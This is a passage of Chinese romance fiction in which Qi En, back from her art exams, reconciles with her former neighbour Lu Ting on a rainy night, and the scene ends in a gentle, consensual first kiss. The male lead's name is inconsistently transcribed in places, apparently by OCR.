齐恩懒得听他废话,她恶狠狠揪住他的领口:“干什么这个样子?干嘛这么委屈地看着我?想我的话,爱我的话,直接来问我不就行了?以为自己可深情了?你不过是胆小鬼而已!”撂完狠话推开他,齐恩仍不解气,又冲上去哐哐砸了他两拳。她打他,力气还不小,卢传却小心翼翼地扶着她。雨天路滑,生怕她摔倒。
“少碰我!”齐恩推揉他,反而弄疼了手腕。她吃痛,卢停握住她手腕,“别打伤了。”
路人持伞经过,无不好奇地望向这两人。齐恩心里乱得要命,对卢传,也对自己。
她指卢停:“给我滚,我现在不想见到你。”卢停也点头说好,松开了她,往后退了两步。
齐恩头也不回地离开。
没走多远,身形一晃。
卢停快步上前扶住她:“……你还好吗?”“你要是有点良心,就让我一个人缓一缓。”
雨下得紧,齐恩看起来比卢传还要狼狈,漆黑的发丝横亘鼻尖,雪白的脸颊没有血色。卢传赶忙在路边拦了一辆出租车,要带她去医院。“……不用。”齐恩恹恹地靠着车窗,“低血糖是老毛病,我自己坐着休息
一会儿就好。”
卢传问她经常低血糖吗,齐恩说体重下九十五之后就这样了。“为什么?”卢传一见面就想问了,“你瘦了好多,为什么要这样做?”
许久不见,张其薪说她变漂亮了。而卢停关注的却是她瘦了许多。
"艺考,要上镜,要出彩。"
齐恩也没有别的选择。
师傅问到底去不去医院,齐恩闭着眼说不用,报了酒店的地址,“你一个人住酒店?”卢传蹙眉,“淋雨了会发烧,身边必须得有人”
“烧烧烧,烧死我!总比被你个逼气死好!”
卢停又说:“师傅,麻烦开到榕江华府。”
司机打着方向盘问:“就市一中对面?”
齐恩当初租房的时候有想过榕江华府,旁边的榕水湾也考虑过,隔学校只有一条街的距离,非常方便上下学通勤。但房价让人望而却步,齐恩不是缺钱,但比起排面,更看重性价比。
"你现在居然住那儿?"齐恩讶异。“……继父的房子。”卢偶回答。
“听过你们家一些事。”齐恩轻描淡写的,“不用对我藏着掖着,有什么就说什么。”
"……好。"
余下的车程相对无言。
下车时,雨还在下。
到小区门口,立刻有保安殷勤地送上伞。卢停撑着,问齐恩还有没有什么要买的。
齐恩不明所以,卢停提示:“你生理期……”
“早就没按时来了。”齐恩很意外,笑了笑,"那是多早之前的日期了,难为你还记着。"
笑了,终于不生气了。
卢停悄悄松了一口气。
“但我确实有东西要买。”齐恩去旁边的便利店,买了一包日用内衣裤和一包一次性浴巾,大方地朝卢传展示,“浑身都湿了,反正也是去你家,借个卫生间洗个热水澡,总行吧?”
卢停点头,从货架上拿巧克力:“吃这个。”“要控糖。我喝葡萄糖补水液,这个就好。”
看齐恩对自己的体态严苛成这个样子,卢传没有说什么,垂下的左手却比划着刚才握住的她的手腕大小。真是太瘦了,比起以前。如今的模样真是脆弱,明明是那么有活力的一个人。
到了卢停家,一百五十平,装潢简约典雅。到底还是个公子哥,以前还真是看轻他了。
齐恩还没能接受这等转变,明明都是聚民出来的,她住在酒店,他却住江景房!齐恩嘴硬说格江也就这样,光照不好,朝向也一般,地段更不增值。卢停没说什么,只让她快去洗澡。
“我洗澡你不会进来吧?”齐恩不大放心。“….…我不是那种人。”卢停低敛着眉目。
“不是,我的意思你没懂,我是怕你记恨我。因为以前每次我都趁着你洗澡开门。”卢停呼吸停滞了片刻,轻声细语:“你想看就看吧,我以后洗澡不锁门就是了。”
"我,我不是那个意思。"
齐恩逐渐软和了态度。
“其实我早就想说了,有时候你没必要忍着,我们的关系也摆在那儿,退一步还是好朋友,进一步我也不知道是什么,不过该发火就发火,该质问就质问,不然…反而很讨厌。”
“知道了。”卢停颔首。
"那我先去洗澡了?"
齐恩迅速闪进卫生间。
真奇怪,脸上热扑扑的,很久都没有这样的感觉了。齐恩意识到,卢停对于她而言好像也不是那么简单的存在,并非不在眼前就能遗忘。
还是想和他发生点什么吗?
齐恩发觉,自己还是想的。
齐恩洗了个舒服的热水澡,用卢停的洗发水和沐浴露。拆开浴巾擦拭着身体时,卢停敲门。“换洗的卫衣和裤子,我给你用纸袋挂在门口了。湿的衣服就放在那儿,我一会儿来洗。”“哇———卢停你真好!”齐恩发自内心的。“如果你在我家洗,我让你光着屁股出来。”
后面半句话就不必说了。
卢偶尴尬地揉搓着额发。
齐恩洗完了,水汽腾出来,问他有没有水乳。卢停不用那个:“我可以现在去楼下买。”
“算了算了,我叫外送。”齐恩坐在沙发上。她穿他的卫衣,太宽大了,锁骨露了出来。
“那我去洗。”卢停的视线只停留在她下巴以上,“卧室在左手边,你困了就先去睡觉。”
齐恩很执着:"我睡你的床,那你睡哪儿?"沙发。卢停没回答,估计齐恩听了会生气。
他洗澡没锁门,齐恩却不进来。
这也让卢停有点隐秘的失落。
他洗完的时候,齐恩已经护完肤了,靠在沙发上小憩。上午考完试,下午收拾行李赶航班,傍晚抵达格城机场,本想给朋友们一个惊喜,没想到先和前邻居淋了个落汤鸡,她也心累。
卢停叫醒她:"去卧室睡吧,别着凉了。"“好困,懒得动弹了。”齐恩堪堪睁开眼。
“要不你抱我?”她半开玩笑半认真。卢停却没犹豫,立刻打横抱起了她。
他已经因为犹豫错过了太多。
他不愿意当她口中的胆小鬼。
齐恩没想到他这一回来真的。
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失重让她下意识环住
他的脖颈。顺其自然地,她抬手揉了揉他的小羊毛卷,熟悉的触感。卢停仔细观察着齐恩,没在她脸上发现抵触,于是放下心,歪了歪脑袋,让她摸得更顺手。真轻,他不自觉掂量一下,齐恩惊呼一声,双脚蜷缩在他的臂弯里:“……你吓死我了。”
“抱歉。”
卢停把她轻而缓慢地放在床上。
像对待一朵极其珍贵的红玫瑰。
齐恩却不松开,“让我再摸摸你这只小猫。”“没事,你摸吧。”卢偶万分顺从地俯首。
齐恩抚摸着他后脑勺的额发,软绒绒、热乎乎的,有湿发刚吹干的潮,指缝既干燥又舒润,细碎的矛盾填满她的心。对于卢傅来说,齐恩的掌根在耳廓上蹭来蹭去,时而寇窣地响动。
他的后背生出了燥热。
他不自觉吞咽了唾沫。
“这段时间,过得还好吗?”
“还好。”卢停有些情动。
“其实,我也有想你。”齐恩仰着脑袋,锁骨在呼吸里深浅明晰,她听凭了自己的内心,“我以为自己不会想你了呢,既然你也不联系我。只是,有时候还是会下意识地担心你。”“我也没有忘记你……一直。”卢停坦言,“以为你和张其薪在一起,我也有点……”
“吃醋。”齐恩了然地笑了笑,"我知道了。我对他没什么感觉,这样说你能明白吗?"
卢停回想去年张其薪发的照片。
"……还是有一点吃醋。"
“我们就 起吃饭,电影也没看过几次,剩下的时间都在图书馆和自习室。”齐恩再解释,“后来就连自习空都很少去了,我要准备统考和校考,也没那么多时间去处理人际关系。”卢停颔首。他躬着身,时间随着谈话而拉长。腰弯了太久,他只好双臂支撑在齐恩的身侧。这样恰似困住了她,卢停却觉得被困住的人是自己,齐恩的话语才是撩拨着锁孔的羽毛。
齐恩摸够了头发,又顺着他清晰的下颚线。指尖滑动,最后停在卢停略紧绷的喉结上。
"好紧张啊,你。"
"……是有点。"
“要不要和我接吻?”齐恩突然问。时隔大半年,她再次发出邀约。
卢传清晰地听见自己和她心跳的声音。寂静而柔软的空间里,只有气息在不停流淌。他说了“我不太会”,齐恩说没关系,自己也是初学者。他情不自禁下压,而她微拾下巴迎上他。嘴唇触碰在一起,陌生而新奇的触感。一开始谁也没打算伸出来,只是简短地试探、轻擦。齐恩在玩耍,碰一下,又分开,再碰一下,再分开,卢停下意识地提出:“……久一点。”
齐恩却倏然别开了脸。
她的眼眶也微微泛红。
“为什么哭?”她问,“楼里出来的时候?”“我……”卢停难以启齿的,“我很想你。”
他说完就害羞了,把鼻尖胡乱埋在她的脖颈和枕头间蹭了又蹭。得不到抚慰的人啊,下意识寻找掌控者允许亲呢的地域,卢停无师自通,用干燥的嘴唇一寸寸亲吻齐恩的锁骨凹陷处。
齐恩塌陷在柔软的大床里。
卢停一手护住她的后脑。
他顺着心意,顺着本能,顺着沙渠里自然流淌的河水,从锁骨吻到喉结。齐恩太痒了,轻笑了两声,声带的震动透过薄薄一层皮肤,重颤在他的唇面上。卢停 路吻回了她微张的唇。
她未阖上的,允许他的侵探。
他的鼻尖抵住她的,再错开。
深入,也是不一样的感觉,卢傅的浑身都在发热,像火燎遍了原野。干柴也是烈火,温润是浇不灭息发焊热的欲望的,能做的只有不断止渴,齐恩在新奇的尝试里失去了氧气,像世界都被卢传规下暂停
键,脑海里只有一道声音在回荡———还喜欢他,她还是对他很有感觉。
她的气被掠尽了,卢停却没有。在反复地尝试和研究里,他比她晚进入状态,却做得更好。
他扣住她柔软的发丝,承接她无力的脊椎,指节发力控住,让齐恩始终处于被索取的状态。
齐恩张嘴呼吸,尽管有时也被阻塞。卢停的喘息声很轻,吻却越来越重。
齐恩因为短暂的眩晕感而渗出泪花。卢停停下,情迷地吻她汗湿的发鬓。
“唉,唉。”齐恩重重地喘着,“原来接吻是这样的感觉啊……和我想的也不太一样。”
“你想的什么样?”他捏揉她细嫩的后颈。“嗯……”齐恩嘟囔,“反正说不清楚。”
卢停垂眸看她,“是更好,还是更坏?”"很难不喜欢吧,你呢?耳朵也红了。"
"你的脸也红了,心跳得也很快。""那会不会是因为……我也喜欢你?"
齐恩感到害羞的时候很少,但绝对不是没有。她大喊了一声受不了,就要把脸埋进枕头里。卢停不让,把她重新掰正了,他又很想接吻。
“.……还亲吗?”他难耐而恳切地询问。“你可以试试撒娇。”齐恩故意为难他。
她紧抿着嘴,卢停贴上来。
很小声地说了一句,亲亲。
齐恩心里软得一塌糊涂。
稀里糊涂就应了声好。